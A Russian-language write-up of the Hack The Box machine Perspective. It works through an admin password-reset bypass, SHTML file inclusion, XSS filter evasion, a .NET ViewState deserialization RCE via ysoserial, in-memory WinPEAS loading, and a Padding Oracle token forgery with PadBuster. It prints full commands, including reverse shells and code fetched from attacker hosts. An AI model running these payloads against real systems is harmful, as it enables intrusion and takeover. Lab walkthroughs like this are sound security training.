Хакер - HTB Perspective. Обходим XSS-фильтры и атакуем шифр через Padding Oracle

Хакер - HTB Perspective. Обходим XSS-фильтры и атакуем шифр через Padding Oracle

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • XSS
  • Продвижение
  • Локальное повышение привилегий
  • Padding Oracle

Се­год­ня я покажу, как повысить при­виле­гии в сис­теме с помощью ата­ки Padding Oracle. На пути к ней мы ата­куем механизм сме­ны пароля на сай­те, обой­дем XSS-филь­тры и исполь­зуем уяз­вимость в механиз­ме сери­али­зации дан­ных.

Про­ходить будем «безум­ный» по слож­ности тре­ниро­воч­ный стенд Perspective с пло­щад­ки Hack The Box.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts, что­бы было удоб­нее обра­щать­ся к ней:


10.10.11.151 perspective.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Скрипт нашел два откры­тых пор­та: 22 — служ­ба OpenSSH for Windows и 80 — веб‑сер­вер Microsoft IIS 10.0. Кро­ме как с веб‑сер­вером, работать пока не с чем.

Глав­ная стра­ница сай­та perspective.htb

ТОЧКА ВХОДА

На сай­те мож­но зарегис­три­ровать­ся и авто­ризо­вать­ся. Сра­зу сде­лаем это, так как зарегис­три­рован­ным поль­зовате­лям дос­тупно боль­ше фун­кций, а зна­чит, будет боль­ше мест для тес­тирова­ния.


Глав­ная стра­ница зарегис­три­рован­ного поль­зовате­ля

На сай­те есть воз­можность соз­давать и прос­матри­вать про­дук­ты. Но что более инте­рес­но, мы находим поч­товый адрес адми­на, а так­же воз­можность сбра­сывать пароль.

Фор­ма сбро­са пароля

Пос­ле вво­да поч­тового адре­са нам зада­ют воп­росы, отве­ты на которые мы ука­зыва­ли при регис­тра­ции. При­чем, если мы ука­зыва­ем поч­товый адрес адми­на, вмес­то воп­росов отоб­ража­ется сооб­щение о том, что сброс пароля адми­нис­тра­тора не вклю­чает сек­ретные воп­росы и про­цеду­ра недос­тупна.

Фор­ма с сек­ретны­ми воп­росами

Но если перех­ватить зап­рос на сброс пароля пос­ле отве­та на воп­росы, мож­но уви­деть, что, помимо про­чего, на сер­вер переда­ется и поч­товый адрес.

Пе­рех­вачен­ный зап­рос на сброс пароля

Я изме­нил свой поч­товый адрес на admin@perspective.htb и все рав­но получил новую фор­му, в которой нуж­но ука­зать новый пароль. Мало того, пароль мож­но уста­новить!

Фор­ма вво­да нового пароля
Со­обще­ние об успешном изме­нении пароля

Ав­торизу­емся от име­ни адми­на и получа­ем дос­туп к админ­ской панели.

ТОЧКА ОПОРЫ

Ад­мин может смот­реть про­дук­ты дру­гих поль­зовате­лей, для это­го дос­таточ­но ука­зать имя поль­зовате­ля или поч­товый адрес.

Про­дук­ты поль­зовате­ля

Вдо­бавок к это­му мож­но ска­чать PDF со спис­ком про­дук­тов. В нем все то же самое, что и на сай­те.

Сге­нери­рован­ный PDF-документ

Тог­да перей­дем обратно к соз­данно­му акка­унту и поп­робу­ем добавить про­дукт. Для про­дук­та мож­но ука­зать изоб­ражение — это очень инте­рес­ный момент, так как это изоб­ражение (точ­нее, файл) будет встав­лен в PDF. Зна­чит, мож­но поп­робовать под­клю­чить файл SHTML, что при его вклю­чении в PDF поз­волит получить содер­жимое про­изволь­ного фай­ла с дис­ка. Давай соз­дадим SHTML, который заг­рузит файл кон­фигура­ций web.config:

<!--#include file="../web.config"-->

Па­нель добав­ления про­дук­та

Но при заг­рузке такого фай­ла сер­вер выдаст ошиб­ку — заг­ружать мож­но толь­ко изоб­ражение. Это мож­но обой­ти, если в Burp Proxy испра­вить содер­жимое HTTP-заголов­ка Content-Type обратно на image/jpeg.

Зап­рос на сер­вер в Burp Proxy

В Burp History обна­ружим зап­рос к SHTML и кон­фигура­ции в отве­те.

Зап­рос в Burp History

Из инте­рес­ного отме­чаем сер­вис на пор­те 8000, дос­тупный для локаль­ного хос­та, а так­же зашиф­рован­ный пароль.

Со­дер­жимое фай­ла web.config

XSS

Так как есть про­межу­точ­ный сер­вис обра­бот­ки и пре­обра­зова­ния вве­ден­ных нами дан­ных, сле­дует поис­кать дру­гие уяз­вимос­ти, которые помогут эксфиль­тро­вать дан­ные с внут­ренне­го сер­вера на пор­те 8000. И натыка­емся на филь­тр XSS.

Со­обще­ние об обна­руже­нии вре­донос­ной активнос­ти

Так как исполь­зуют­ся филь­тры, сто­ит переб­рать воз­можные вари­анты наг­рузок. Это поможет най­ти наг­рузку, обхо­дящую филь­тры. Перех­ватыва­ем зап­рос в Burp Proxy и перенап­равля­ем в Burp Intruder (ком­бинация кла­виш Ctrl-I, Ctrl-Shift-I).

Burp Intruder — вклад­ка Positions

В опци­ях добавим параметр Grep — Extract и выберем опоз­наватель­ную стро­ку, которая будет сооб­щать об обна­ружен­ной ата­ке.

Burp Intruder — вклад­ка Options (параметр Grep — Extract)

Эта опция добавит в резуль­тат перебо­ра еще один стол­бец, который отоб­разит воз­вра­щен­ное сер­вером сооб­щение. Так мы быс­тро отфиль­тру­ем наг­рузки, которые обхо­дят филь­тр. Для перебо­ра я взял го­товый спи­сок с гит­хаба Payload Box.

Ре­зуль­тат перебо­ра наг­рузок

В резуль­тате находим немало вари­антов для экс­плу­ата­ции XSS. Оста­новим­ся на исполь­зовании тега meta:

<META HTTP-EQUIV="refresh" CONTENT="0;url=http://10.10.14.58:8000/test.html">

Эта наг­рузка дол­жна вклю­чить в отчет стра­ницу test.html с нашего сер­вера. Для тес­та откро­ем на локаль­ном хос­те порт 8000 и отпра­вим наг­рузку.

Про­вер­ка уяз­вимос­ти XSS
Ло­ги лис­тенера netcat

Зап­рос при­шел, а зна­чит, сер­вис уяз­вим!

ПРОДВИЖЕНИЕ

Те­перь перей­дем к содер­жимому под­клю­чаемо­го фай­ла. В нашем HTML-фай­ле будем исполь­зовать тег iframe для заг­рузки и отоб­ражения сер­виса на пор­те 8000.

<iframe src="http://localhost:8000/"></iframe>

Ге­нери­руем PDF и видим в нем нуж­ную нам стра­ницу.

Сге­нери­рован­ный PDF-файл

Стра­ница пол­ностью не помес­тилась во фрейм, поэто­му зададим ему раз­меры.

<iframe src="http://localhost:8000/" height="2500px" width="2500px"></iframe>

Сге­нери­рован­ный PDF-файл

Те­перь можем разоб­рать содер­жимое стра­ницы. Видим фун­кции encrypt и decrypt, а так­же ссыл­ку на скрипт. Прос­мотрим код ука­зан­ного JS-фай­ла.

<iframe src="http://localhost:8000/swagger/v1/swagger.json" height="2000px" width="2000px"></iframe>

Со­дер­жимое стра­ницы swagger.json

При обра­щении к стра­нице decrypt нуж­но пре­дос­тавить параметр cipherTextRaw. Теперь мы можем поп­робовать рас­шифро­вать получен­ный из фай­ла web.config параметр ViewStateUserKey.

Что­бы отпра­вить дан­ные и получить ответ, нуж­но усложнить вклю­чаемый нами файл HTML. Для это­го соз­дадим и запол­ним фор­му, отправ­лять которую будем с помощью JavaScript, а резуль­тат помес­тим в iframe.

<html>

<body>

<form id="expl" target="iframe" method="post" action="http://localhost:8000/decrypt?cipherTextRaw=ENC1%3a3UVxtz9jwPJWRvjdl1PfqXZTgg%3d%3d">

<input type="text">

</form>

<iframe name="iframe"></iframe>

<script type="text/javascript">document.getElementById('expl').submit();</script>

</body>

</html>

Рас­шифро­ван­ный параметр ViewStateUserKey

Те­перь, ког­да мы име­ем viewstateuserkey, сле­дует поп­робовать получить RCE через сери­али­зацию .NET. Веб‑при­ложе­ния ASP.NET исполь­зуют ViewState для кон­тро­ля сос­тояния стра­ницы и сох­ранения дан­ных в фор­мах. И поэто­му есть воз­можность запус­тить код на веб‑сер­вере, если получит­ся под­делать ViewState. А для это­го нам и нуж­ны зна­чения viewstateuserkeyvalidationalg и validationkey.

Дан­ные validationalg и validationkey

Те­перь с помощью Online Reverse Shell Generator сге­нери­руем реверс‑шелл. Нуж­но ука­зать хост и порт для обратно­го под­клю­чения.

Сге­нери­рован­ный реверс‑шелл

Се­риали­зовать дан­ные мы можем с помощью ysoserial.

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -e JABjA...AKAApAA==" --generator=0414C274 --validationalg="SHA1" --viewstateuserkey="SAltysAltYV1ewSTaT3" --validationkey="99F110...B52BF"

Се­риали­зация дан­ных

Те­перь отправ­ляем получен­ные дан­ные в парамет­ре __VIEWSTATE и получа­ем бэк­коннект.

Экс­плу­ата­ция уяз­вимос­ти
Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Для удоб­ного дос­тупа к хос­ту мы можем выяс­нить при­ват­ный ключ SSH поль­зовате­ля и уже с ним получить ста­биль­ную коман­дную обо­лоч­ку.

SSH-ключ поль­зовате­ля

Для раз­ведки на хос­те я решил исполь­зовать WinPEAS, но стол­кнул­ся с тем, что, если попытать­ся заг­рузить на хост исполня­емый файл, его уда­лит анти­вирус.

Пос­коль­ку мы име­ем дело с .NET, сбор­ку фай­ла мож­но выпол­нить из памяти с помощью PowerShell, без заг­рузки фай­ла на диск. Сна­чала коман­дой python3 -m http.server 8000 запус­тим прос­той веб‑сер­вер, а затем заг­рузим сбор­ку в память и выпол­ним.

powershell -c $wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "http://10.10.14.82:8000/wp.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")

В спис­ке откры­тых пор­тов най­дем нетипич­ный для Windows порт 8009.

Спи­сок прос­лушива­емых пор­тов

Что­бы зай­ти на него через бра­узер, нам нуж­но про­кинуть порт. Сде­лать это мож­но средс­тва­ми SSH.

ssh -i id_rsa webuser@perspective.htb -L 8009:127.0.0.1:8009

Та­ким обра­зом, весь тра­фик, который мы отпра­вим на локаль­ный порт 8009, будет тун­нелиро­ван на порт 8009 ука­зан­ного хос­та (в дан­ном слу­чае 127.0.0.1) через SSH-хост. Теперь под­клю­чим­ся к пор­ту и най­дем там уже зна­комый сайт.

Глав­ная стра­ница локаль­ного сай­та

Поп­робу­ем при­выч­ным обра­зом изме­нить пароль, но в этот раз что‑то не так.

Дан­ные, отправ­ляемые при сме­не пароля поль­зовате­ля

Поп­робу­ем поиг­рать с токеном, к при­меру добавить нес­коль­ко сим­волов или изме­нить сущес­тву­ющие. Получа­ем сооб­щения об ошиб­ках, которые говорят о наличии блоч­ного шиф­ра.

Ошиб­ка дли­ны пос­ледова­тель­нос­ти
Ошиб­ка невер­ного допол­нения

Здесь мы можем поп­робовать при­менить тех­нику Padding Oracle, но спер­ва взгля­нем на сам про­ект. Если обра­тить­ся к пути про­екта, уви­дим заг­лушку.

Ошиб­ка 404

Из фай­ла web.config узна­ем, что исполь­зует­ся алго­ритм шиф­рования AES.

Со­дер­жимое фай­ла web.config

Но боль­ший инте­рес пред­став­ляет фун­кция про­вер­ки пароля вот в этом фай­ле:

C:\WEBAPPS\PartImages_Staging\handlers\changePassword.ashx

Со­дер­жимое фай­ла changePassword.ashx

Пос­ле рас­шифров­ки токен тоже переда­ется прог­рамме PasswordReset.exe. Если мы смо­жем манипу­лиро­вать токеном до шиф­рования, то выпол­ним инъ­екцию коман­ды ОС. Тут и перей­дем к ата­ке Padding Oracle. 

Padding Oracle

Эта ата­ка при­мени­ма к шиф­рованию CBC, в котором сооб­щение раз­бива­ется на бло­ки дли­ной X байт и каж­дый блок ксо­рит­ся с пре­дыду­щим зашиф­рован­ным бло­ком. Затем резуль­тат шиф­рует­ся. Что очень важ­но, шиф­рование выпол­няет­ся бло­ками фик­сирован­ного раз­мера.

Что­бы гаран­тировать точ­ное раз­мещение откры­того тек­ста в одном или нес­коль­ких бло­ках, час­то исполь­зует­ся допол­нение (padding). Это допол­нение может быть выпол­нено нес­коль­кими спо­соба­ми, самый рас­простра­нен­ный — PKCS7. В PKCS7 допол­нение будет сос­тоять из одно­го и того же чис­ла — количес­тва недос­тающих бай­тов. Нап­ример, если в откры­том тек­сте отсутс­тву­ет два бай­та, запол­нение будет \x02\x02.

Суть ата­ки зак­люча­ется в том, что мы, манипу­лируя дан­ными и получая информа­цию о вер­ности допол­нения, можем рас­крыть весь исходный текст. Очень под­робно о теории этой ата­ки мож­но про­читать на «Хаб­рахаб­ре» в статье «Padding Oracle Attack, или почему крип­тогра­фия пуга­ет» и ее про­дол­жении.

Мы же будем исполь­зовать готовый скрипт PadBuster. Ука­зыва­ем сле­дующие парамет­ры:

  • URL;
  • са­му пос­ледова­тель­ность;
  • раз­мер бло­ка;
  • от­вет, говоря­щий об ошиб­ке;
  • текст, который нуж­но зашиф­ровать.

В качес­тве наг­рузки для инъ­екции коман­ды исполь­зуем обыч­ный реверс‑шелл. Это будет заранее заг­ружен­ный netcat:

n.exe -e cmd.exe 10.10.14.84 4321

В качес­тве раз­делите­ля исполь­зуем амперсанд:

padbuster http://127.0.0.1:8009/handlers/changePassword.ashx lhi98x_p_eJ1C5zt7w-8ogpurkeg36_bk0Vq9cyC5yI 16 -post 'password1=rrRR11!!&password2=rrRR11!!&token=lhi98x_p_eJ1C5zt7w-8ogpurkeg36_bk0Vq9cy

C5yI' -encoding 4 -error 'Padding is invalid and cannot be removed.' -plaintext 'r & C:\Temp\n.exe -e cmd.exe 10.10.14.84 4321'

Но­вый токен

В ито­ге у нас есть новый токен. Исполь­зуем его на сай­те и получа­ем бэк­коннект на откры­тый лис­тенер (rlwrap nc -lnvp 4321).

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei




Report Page